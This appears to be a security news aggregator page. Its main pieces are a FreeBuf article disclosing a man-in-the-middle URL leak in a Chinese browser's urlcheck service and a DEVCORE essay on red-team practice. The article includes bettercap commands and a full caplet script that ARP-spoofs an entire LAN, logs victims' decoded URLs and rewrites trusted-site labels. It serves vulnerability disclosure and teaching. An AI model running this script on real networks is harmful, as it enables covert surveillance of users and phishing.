Aggregator

正义白帽，公益挖洞！

CVE-2019-2890详细分析与利用方法

Nodejs的子进程创建如何获取客户端参数的代码写在了proccess.js中，我们关注下客户端参数解析以上

前段时间换电脑，需要把原本电脑上的一些文件备份、迁移出来，包括iBooks中的电子书。 理论上，苹果体系中通过icloud账号可以把通讯录、备忘录等东西同步过去，但查了一下发现图书支持有限，而且我的epub也不是通过iTunes买的，无法同步。 简单讲，通过官方渠道找不到满足需要的操作方式，只能求助

面向金融行业安全人员的一次群在线分享，一些区块链安全攻防实践观点供大家参考。

Apache solr Velocity模版远程命令执行漏洞分析

从PGone的破事和某音pr口中的审核后台说开去......

Threat actors shift focus away from cryptominers and back to remote code execution—this month with a new zero-day exploits.

------------------------------版权警告----------------------------
本文已投稿给freebuf并被发表，转载请联系freebuf官方
----------------------------------------------------------------------
本文首发于Freebuf 国产浏览器往往基于Chrome浏览器开发，在带来新功能的情况下也带来了新的安全威胁。 本文将披露某国产浏览器的中间人信息泄漏漏洞以及科普bettercap攻击脚本的编写方法。 漏洞发现 笔者本想按着先辈们的文章测试下国产浏览器的特权域漏洞，但是在测试过程中意外发现了某国产浏览器的一个中间人信息泄漏漏洞。  如图，每当该浏览器访问某URL的时候，都会向该浏览器官方的某个系统请求一个urlcheck来检查该URL是否安全，其中请求的url参数就是base64后的url。 我们暂且相信该浏览器官方是善意的不会保存我们的urlcheck记录，但这种HTTP明文请求仍然会使其易于遭受中间人攻击，导致即使有SSL保护的情形下URL仍然会被泄漏的问题，同时攻击者也可以据此伪造可信网站进行钓鱼攻击。 关于中间人攻击，由于笔者相信FreeBuf读者均具有相关的知识且其原理细节并非本文重点，在此不予详细叙述。简而言之，该攻击能使攻击者轻易的截取及替换明文传输的内容，可能导致信息泄漏，信息被篡改，甚至系统被拿下。 漏洞利用之bettercap配合Burpsuite手动攻击 显而易见，攻击者可以通过截取请求包并替换来进行漏洞利用。 在这里漏洞的演示攻击中，我们采用bettercap攻击进行演示。 bettercap介绍  bettercap早在几年前就被发布出来，是各类无线攻击的瑞士军（和谐）刀，具有取代ettercap的野心。 在原有的1.0版本中可以通过命令行参数来进行许多中间人攻击，而在2.0之后的版本该工具借鉴了MSF的模块化思想，主要通过交互式终端执行进行攻击。 目前bettercap还提供一个漂亮的UI供攻击者简化攻击过程，不过本文并不会涉及该UI的使用。  比起老牌的ettercap，该工具具有如下优点 1,更加稳定，不像ettercap容易崩溃 2,易于拓展，可以用其支持的cap脚本和js代码拓展 3,易于操作，具有更加简单的命令进行arp欺骗 在编写脚本自动化攻击之前，我们可以先使用Burpsuite配合bettercap测试中间人攻击。 Burpsuite攻击配置  大名鼎鼎的Burpsuite已被大家熟知，但许多人只知道用它来抓包测试web层的漏洞，不知道它也能用来进行中间人攻击 在进行中间人攻击测试之前，我们对Burpsuite进行一些简单的配置。 首先我们需要去Burpsuite的proxy处，选中options,对我们的代理选择edit， 在Binding处选择All interfaces。因为burpsuite默认只允许本地IP访问，而我们需要局域网内的机器来访问 。  接着再在request handling处选择support invisible proxying来打开透明代理。 之所以我们要这么做是因为在代理的时候我们无法解密SSL流量，应该让Burpsuite直接放行加密流量而不是做中间人替换证书。 Bettercap攻击  使用bettercap攻击远比ettercap简单，我们只需要两个命令就可以了。 any.proxy on arp.spoof on any.proxy是bettercap自带的一个模块，它能够将流量进行重定向使得被攻击的机器的流量到达我们指定的代理。 使用any.proxy on 其用该模块，其中any.proxy的端口默认就是本机的8080端口，无需配置正好和burp一样。 而arp.spoof是arp攻击模块,直接arp.spoof on就能开启攻击了，默认攻击范围是整个局域网。 攻击效果 如上图所示，我们能够在不在靶机上安装证书的情况下，通过urlcheck的返回结果获取到本来该被SSL保护的URL，读出了bing搜索中的搜索内容（123）。 同时通过手动改包，我们能够修改网站的标识（把Bing改成了Google），显示了这个漏洞也可能被用于辅助社会工程学攻击。 这些结果很棒，但是作为黑客我们是不会满足于手动抓包改包这样只有概念验证性功能的实验的，我们需要将这个漏洞自动化利用。 幸运的是，bettercap对于拓展其功能有着良好的支持。 漏洞利用之bettercap caplets编写 bettercap的攻击脚本编写规则 bettercap允许我们用caplets编写自动化脚本进行攻击。caplets指的是后缀为.cap的脚本，能够直接执行bettercap的交互终端命令而不需要一条一条地手动输入，类似于metasploit的rc脚本。同时如果用它来修改http.proxy这个http流量拦截模块，我们可以轻易指定加载该cap目录下的js脚本而不需要考虑绝对路径。  bettercap提供了如下几个命令来帮助用户管理已有的caplets。 caplets.show#显示已有的caplets. caplets.paths# 显示caplets的搜索路径 caplets.update# 安装或更新caplets. 可以知道bettercap默认的caplets搜索路径有三个。 /usr/local/share/bettercap/caplets /usr/local/share/bettercap/caplets/caplets /usr/share/bettercap/caplets 在默认情况下，自带的caplets被放置在/usr/share/bettercap/caplets/，用户可以创建目录来和其余的模块隔开，bettercap会自动递归这些目录来查找可用的caplets。  在了解了caplets的基本编写规则之后，我们看看如何拓展原有的http嗅探模块来嗅探url。 自定义bettercap的http.proxy模块 bettercap的http.proxy模块提供一个http的透明代理，能够监听并修改流量，并且可以允许用户编写js代码来自定义其行为。它可以和bettercap的arp.spoof模块配合实现中间人攻击。 该模块有着如下参数可以设置 参数 默认设置 描述 http.port 80 需要转发的端口的流量 http.proxy.address <本机地址> 本地代理绑定的地址 http.proxy.port 8080 本地代理的端口 http.proxy.sslstrip false 是否打开sslstrip http.proxy.script 用于操控模块的js 脚本路径 http.proxy.injectjs 注射进受害机的 http.proxy.blacklist 不进行代理的黑名单（用逗号隔开，支持wildchard) http.proxy.whitelist 当黑名单启用的时候需要通过代理的白名单（用逗号隔开)我们将会用到该模块的两个命令  我们这次需要编写的caplets中需要用到如下命令 http.proxy on #启用http.proxy模块 set http.proxy.script path#启用我们自定义的js脚本来自定义http.proxy模块的行为 编写http.proxy是重头戏， 而拓展http.proxy的js脚本格式如下 // 在脚本被加载时执行 function onLoad() { } // 当代理接收到请求并且还没发送到真正的server时调用 function onRequest(req, res) { } // 当请求已经发送到了真实的server并获取返回结果时调用 function onResponse(req, res) { } //当未知命令被调用时执行，这样可以拓展我们自己的命令 function onCommand(cmd) { if( cmd == "test" ) { /* * 自定义会话中命令的逻辑. */ return true } } 在今天的bettercap脚本编写示例中我们将会编写这里的onRequest和onResponse函数。 在onRequest和onResponse函数中的req和res就是传入的请求和返回结果。 关于req和res支持的操作，官方文档并没有提供一个完整详细的列表，但是笔者阅读了许多caplets的源码找出了以下用法 req用法 用法 说明 req.Path  url路径 req.GetHeader(“User-Agent”, “”)  获取某请求头 req.Client.IP  客户端IP req.Hostname  server的主机名 req.Headers  获取所有请求头 req.Method  请求方式 req.ContentType  Content-Type req.Query 获取查询字符串 req.ParseForm(); 获取POST包的字典 req.ReadBody() 获取请求包的body res用法 用法 说明 res.Body  返回包的body,只能修改用于改包而不能读结果 res.ContentType Content-Type res.SetHeader(“Content-Length”, 114514)  设置返回包的头 res.Status 返回包的状态码 res.ReadBody 获取返回包的body(在onResponse时使用） 编写caplets  在知道了如上信息之后我们就可以编写我们的caplets了，首先在/usr/share/bettercap/caplets/目录下建立目录uc-url 创建uc-url.cap文件，编写文件使内容为 set http.proxy.script uc-url.js http.proxy on arp.spoof on 这个脚本的解释：第一行是配置http.proxy.script，即我们即将编写的拓展脚本                              接着启用http.proxy模块                              最后启用arp.spoof模块，由于没有指定目标，默认对同局域网所有主机执行arp攻击 接着我们在同目录下创建uc-url.js，编写如下内容 var RESET = "\033[0m"; function R(s) { return "\033[31m" + s + RESET; } function G(s) { return "\033[32m" + s + RESET; } function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { //parse request url from urlcheck request var form = req.ParseForm(); var url=atob(form['url']); log( R(req.Client.IP)+" URL:"+G(url)); } } function onResponse(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { var body = res.ReadBody(); j=JSON.parse(body) j['data']['title']='6324直播间'; res.Body=JSON.stringify(j); //log(JSON.stringify(j)); } } 前面的RESET,G,R函数用于处理字符串，使其在终端输出的时候有颜色。 其中onRequest函数中，我们根据请求的方式，url的路径，以及hostname判断了urlcheck包。 如果是urlcheck包，则通过ParseForm函数获取其url参数并且用atob函数base64解码，最后在终端上打印该URL。 在onResponse函数中，我们也如法炮制，获取返回结果并修改。由于笔者的恶趣味，笔者将返回结果的title替换成了6324直播间，这样每当有可信网站的结果返回的时候，这个对可信网站的描述就会被替换成6324直播间。 攻击效果 在一切完成之后，通过如下命令执行攻击 bettercap -caplet uc-url/uc-url 如图，UC浏览器用户在SSL情况下访问freebuf时URL仍然能够被攻击者获取 由于freebuf并没有被标注为可信网站，再来一个网站标识替换后的效果图 结语 尽管已经是2019年，大量的网站系统仍然没有使用SSL加密，中间人攻击仍然有其一席之地。对于安全研究者来讲，掌握相关知识，学习更新更好用的攻击工具的使用方法仍然是必要的。而开发者应该在开发的时候考虑到中间人攻击带来的威胁，部署SSL或者使用别的加密手段来抵御中间人攻击。 *本文原创作者：APU，本文属于FreeBuf原创奖励计划，未经许可禁止转载

前几天，10月24日，在这个程序员的节日里，腾讯时隔十一年，更新了QQ for Linux。瞬间，各大技术论坛，群聊，关于Linux的新QQ的话题不断。为什么QQ这么多年不更新QQ for Linux?在我看来，Linux用户太少，是它不继续更新的主要原因，维护这么少人用的软件实在是令人提不起动力。

Volunteering with Girls Who Code has been one of the most enriching and edifying experiences of my time here at Akamai. I was chosen to serve as a mentor to one of the high school students, gave the NOCC tour...

In our 2019 edition of the Phishing and Fraud Report, we look at the latest methods and trends attackers are using to exploit the most vulnerable part of your defensive posture: your users.

最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线，但我觉得作为曾经红极一时的经典系列RCE漏洞，对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的，

前言

「紅隊演練」近年來漸漸開始被大家提及，也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享，身為第一個在台灣推紅隊演練的公司，我想就根據這兩年多來的實戰經驗，分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題，期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。

這一篇是我在 DEVCORE CONFERENCE 2019 所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊，還有運作方式和案例，所以我抽出一些素材整理成這場演講。下面是投影片連結，其中有些內部系統畫面不對外公開，僅在研討會分享敬請見諒。

DEVCORE 紅隊的進化，與下一步 － Shaolin (DEVCORE CONF 2019)

為什麼要紅隊演練？

一言以蔽之，就是我們漸漸體會到：對大企業而言，單純的滲透測試並不是最有效益的。從過去上百次滲透測試經驗中，我們往往能在專案初期的偵查階段，發現企業邊界存在嚴重弱點，進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業，這種狀況會越明顯，因為他們通常有很多對外的網站、網路設備，每一個都可能是風險，即使主要網站防護很完備，駭客只需要從這麼多目標中找到一個問題，就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試，在真實世界中，還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試，結果還是發生資安事件。

於是，我們推出了紅隊演練，希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此，這個服務關注的是企業整體的安全性，而不再只是單一的網站。

紅隊演練目標通常是一個情境，例如：駭客有沒有辦法取得民眾個資甚至是信用卡卡號？在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說，我們會想辦法找到一條路徑取得存放這些訊息的資料庫，去驗證有沒有辦法取得個資及卡號。一般來說，卡號部分都會經過加密，因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法，我們甚至會在過程中發現其他路徑可取得卡號，可能是工程師的 debug 資訊會記錄卡號，或是備份檔在 NAS 裡面有完整卡號，這些可能是連資安負責人都不知道的資訊，也是企業評估風險的盲點。

到這邊，紅隊演練的效益就很明顯了，紅隊能協助企業全盤評估潛在的重大風險，不再像過去只是單一面向的測試特定網站。除了找到弱點，紅隊更在乎幫企業驗證入侵的可行性，方便企業評估風險以及擬定防禦策略。最後，紅隊往往也能夠在演練過程當中找出企業風險評估忽略的地方，例如剛剛例子提到的備份 NAS，就可能是沒有列入核心系統但又相當重要的伺服器，這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。

DEVCORE 紅隊的編制

基本上，DEVCORE 的紅隊成員都是可以獨當一面的，在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下，就會開始有明顯的分工作業，各組也會專精技能增加團隊效率。目前我們的編制共分為五組：

簡單介紹職責如下：

• Intelligence (偵查)，負責情報偵查，他們會去收集跟目標有關的所有資訊，包括 IP 網段、網站個別使用的技術，甚至是洩漏的帳號密碼。
• Special Force (特攻)，有比較強大的攻擊能力，主要負責打破現況，例如攻下第一個據點、拿下另一個網段、或是主機的提權。
• Regular Army (常規)，負責拿下據點後掃蕩整個戰場，嘗試橫向移動，會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。
• Support (支援)，重要的後勤工作，維持據點的可用性，同時也要觀察記錄整個戰況，最清楚全局戰況。
• Research (研究)，平時研究各種在紅隊中會用到的技術，演練時期碰到具戰略價值的系統，會投入資源開採 0-day。

DEVCORE 紅隊的進化

所謂的進化，就是碰到了問題，想辦法強化並且解決，那我們遇到了哪些問題呢？

如何找到一個突破點？

這是大家最常碰到的問題，萬事起頭難，怎麼樣找到第一個突破點？這個問題在紅隊演練當中難度會更高，因為有規模的企業早已投入資源在資安檢測和防護上，我們要怎麼樣從層層防禦當中找到弱點？要能找到別人找不到的弱點，測試思維和方法一定要跟別人不一樣。於是，我們投入資源在偵查、特攻、研究組：偵查部分研究了不同的偵查方法和來源，並且開發自己的工具讓偵查更有效率；我們的特攻組也不斷強化自己的攻擊能力；最重要的，我們讓研究人員開始針對我們常碰到的目標進行研究，開發紅隊會用到的工具或技巧。

這邊特別想要分享研究組的成果，因為我們會去開採一些基礎設施的 0-day，在負責任的揭露後，會將 1-day 用於演練中，這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊，研究組平時的研究方向，通常都是找企業外網可以碰到的通用服務，例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先，目前已公開的有：Exim、Jenkins、Palo Alto GlobalProtect、FortiGate、Pulse Secure。這些成果在演練當中都有非常非常高的戰略價值，甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。

而這些研究成果，也意外的被國外所注意到：

• PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (2017, 2018)
• 連續三年 DEFCON & Black Hat USA 發表 (2017, 2018, 2019)
• 台灣第一個拿到 PWNIE AWARD 獎項：Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (2018 入圍, 2019 得獎)

目標上萬台，如何發揮紅「隊」效益？

前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題，是在我們過去的經驗中，有過多次演練的範圍是上萬台電腦，我們要怎樣做才能發揮團隊作戰的效益呢？會有這個問題是因為數量級，如果範圍只有十個網站很容易找目標，但是當網站變多的時候，就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候，每個人的進度都很多，很難有個地方分享伺服器資訊，讓其他人能接續任務。

過去我們使用類似 Trello 的系統記錄每台伺服器的狀況，在範圍較小的時候很方便好用，但是當資料量一大就會顯得很難操作。

因此，我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考：

• 伺服器列表可標籤、排序、全文搜尋，火力集中的伺服器必須要自動在顯眼處，省去額外搜尋時間。
• 要可自動建立主機關係圖，方便團隊討論戰況。
• 儲存結構化資訊而非過去的純字串，例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。
• 建立 shell 主控台，方便成員一鍵取得 shell 操作。

另外還有一個問題，紅隊成員這麼多，戰場又分散，如果想要把我們做過的測試過程記錄下來，不是會很複雜嗎？所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果，這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外，針對每個目標伺服器，我們也會特別記錄在上面所做過的重要行為，例如：改了什麼設定，新增或刪除了什麼檔案，方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的，對那些習慣於自動化解決事情的駭客更是，但我們就是堅持做好這樣的紀錄，即使客戶沒有要求，我們還是會詳實記錄每個步驟，以備不時之需。

企業有防禦設備或機制？

解決了突破點和多人合作的問題，接下來我們面臨到第三個問題，企業有防護措施！在研討會中我舉了幾個較客製的真實防禦案例，說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用，甚至會寫工具去躲避偵測，最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell，它可以做到 WAF 抓不到，防毒軟體抓不到，也不會有 eventlog 記錄，利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然，我們不是無敵的，一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則：在面對伺服器防禦機制，我們能隱匿的，一定做到絕對的隱匿，無法躲的，就把流程最佳化，縮短做事情的時間，例如控制在五分鐘內提權拿到關鍵資料，就算被別人抓到也沒關係，因為該拿的資料也拿到了。

紅隊成員應具備的特質

要能夠在紅隊演練中有突出成果，我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享，如果將來有打算從事紅隊工作，或是企業已經打算開始成立內部紅隊，這些特質可能可以作為一些參考。

想像力

第一個是想像力，為什麼會提這個特質，因為現在資安意識慢慢強化，要靠一招打天下是不太有機會的，尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。

直接舉個例子，我們在公布 Pulse Secure VPN 的研究細節後，有人在 twitter 上表示那個關鍵用來 RCE 的 argument injection 點之前他有找到，只是無法利用所以官方也沒有修。確實我們找到的地方相同，不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。 另一個例子是 Jenkins 研究裡面的一環，我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確？最簡單的方法就是直接去編譯看看，可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法，讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過，算是運用想像力的一個經典案例。

關於想像力，其實還有一個隱藏的前提：基礎功要夠。我一直認為想像力是知識的排列組合，例如剛剛的兩個例子，如果不知道 Perl 語法特性和 Meta-Programming 的知識，再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試，絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度，對我們來說，講到一個漏洞，心中就會同時跳出一個樹狀圖：出現成因是什麼？相關的案例、漏洞、繞過方式都會啵啵啵跳出來，能做到這樣我想就已經是有所小成了。

追新技術

會追新技術這件事情，似乎是資安圈的標配，我們的世界不只有 OWASP TOP 10。更現實的說法是，如果只靠這麼一點知識，在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子，對於他們來說，看新技術是每天的習慣，如果有資安研討會投影片釋出，會追。新技術裡有興趣的，會動手玩，甚至寫成工具，我們很多內部工具都是這樣默默補強的。還有一點，看新技術最終目的就是要活用，拿新技術解決舊問題，往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 HTTP Desync 的攻擊方式，回國之後馬上就把這個知識用在當時的專案上，讓我們多了一些攻擊面向！（這個手法挺有趣的，在我們污染伺服器後，隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript，不需要什麼特殊條件，有興趣可以研究一下:p ）

相信…以及堅持

最後一點，我想分享的是：在研究或者測試的過程當中，有時候會花費很多時間卻沒有成果，但是如果你評估是有機會，那就相信自己，花時間做下去吧！ 我們有一個花費一個月的例子，是之前破解 IDA Pro 偽隨機數的研究，這個事件意外在 binary 圈很有名，甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼，有機會安裝 IDA PRO 嗎？結果最後我們想辦法逆推出了 IDA 密碼產生器的算法，知道偽隨機數使用了哪些字元，和它的正確排序。這件事情的難度已經不只在技術上，而在於要猜出偽隨機數使用的字元集順序，還要同時猜出對方使用的演算法（至少有88種）。而且我們每驗證一種排列組合，就會花半天時間和 100GB 的空間，累積成本滿高的。但我們根據經驗相信這是有機會成功的，並且投注資源堅持下去，最後有了很不錯的成果。

這裡不是在鼓勵一意孤行，而是一種心理素質：是在面臨卡關的時候，有足夠的判斷力，方向錯誤能果斷放棄，如果方向正確要有堅持下去的勇氣。

資安防護趨勢與紅隊的下一步

文章的最後一部分要談的是紅隊演練的未來，也是這篇文章的重點，未來，我們希望可以解決什麼問題？

做為紅隊演練的領導廠商，從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限，這還不含那些不是用 AD 來管理的企業。我們發現進入內網後，通常不會有什麼阻礙，就好像變成內部員工，打了聲招呼就可以進機房。想要提醒大家的是：對頂尖攻擊團隊而言，進入企業內網的難度並不高。如果碰上頂尖的駭客，或是一個 0day，企業準備好了嗎？這就是現階段我們所發現的問題！

在說到抵禦攻擊通常會有三個面向，分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善，對於已知的弱點都有比較高的掌握度。今天普遍的問題在「偵測」和「回應」上，企業能不能發現有人在對你進行攻擊？或是知道被攻擊後有沒有能力即時回應並且根絕源頭？這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面，而是對於企業來說太難驗證，很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用，就算有藍隊通常也沒有建立完善的應對 SOP，畢竟駭客入侵不會是天天發生的事情。

所以，我們希望企業能從紅隊演練中，訓練對攻擊事件的偵測和反應能力。或是說，紅隊演練的本質就是在真實的演練，透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點，找出漏洞固然重要，但碰到像我們一樣很常找到 0-day 的組織，有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看，目前世界上最完整的攻擊戰略和技術手法列表是 MITRE ATT&CK Framework，一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈，而在這個 Framework 中，找到起始弱點這件事情僅佔了整個攻擊鏈不到一成，企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節，就有機會讓整個攻擊行動失敗而保護到資產。

要說的是，我們紅隊演練除了找出企業漏洞能力頂尖之外，也累積了很豐富的內網滲透經驗及技巧，我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的，未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略，讓企業了解自己對哪些攻擊的防禦能力比較弱，進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗，了解防禦的極限，才有辦法找到設備設定不全或是涵蓋率不足的盲點。

最後我們也有些規劃建議給對資安防禦比較成熟的企業如下，逐步落實可以將資安體質提昇一個層次。（至少從我們的經驗來看，有這些概念的企業都是特別難攻擊達成目標的）

• 如果外網安全已投資多年，開始思考「如果駭客已經在內網」的防禦策略
• 盤點出最不可以被洩漏的重要資料，從這些地方開始奉行 Zero Trust 概念
• 企業內部需要有專職資安人員編制（藍隊）
• 透過與有經驗的紅隊合作，全盤檢視防禦盲點

後記

研討會內容到這邊就結束了。寫在最後的最後，是充滿著感謝。其實無論滲透測試還是紅隊演練，在一開始都不是人人可以接受的，而測試的價值也不是我們說了算。一路走來，漸漸漸漸感受到開始有人相信我們，從早期比較多測試時與工程師和網管人員的對立，到近期越來越多 open mind、就是想找出問題的客戶，是滿大的對比。非常感謝他們的信任，也因為這樣的互信，我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題，漏洞存在就是存在，不會因為視而不見而真的不見，意識到有問題解決了就好。所以我在演講最後留下這樣一句：『紅隊演練的精髓不是在告訴你有多脆弱，在於真正壞人闖入時你可以獨當一面擋下』，希望越來越多人能正面對待問題，同時也傳遞我們想要做到的價值。

2019 DEVCORE CONF，謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化，希望下一步也能有你，我們明年見 :)

The first part of this blog series discussed about the quality of user experience (QoE) metrics and two strategies that heavily influence the QoE: the bitrate selection...

As the Internet grows, so does energy usage. As a result, all large tech organizations have a responsibility to monitor and improve their impact on the environment. At Akamai, we are well aware of the impact we can have, both...

There are three primary avenues to hack a U.S. election: voter registration, voting machines, and the voters themselves. We&rsquo;ll dig into each and see which offers the most bang for the buck.

静态分析 1. 拿到固件 2. binwalk 解包（解密） 3. firmwalker 查找关键信息（信息泄露） 4. web 目录下确定开发语言和特征 5. etc、etc_ro 目录下查找 sdk 的特征（ralink） 动态仿真/模拟 1. 单个程序尝试模拟（httpd、goahead），打

In this companion podcast, the 2019 F5 Labs Application Protection Report researchers examine how both apps and threats are changing, and what security practitioners can do to stay ahead of these changes.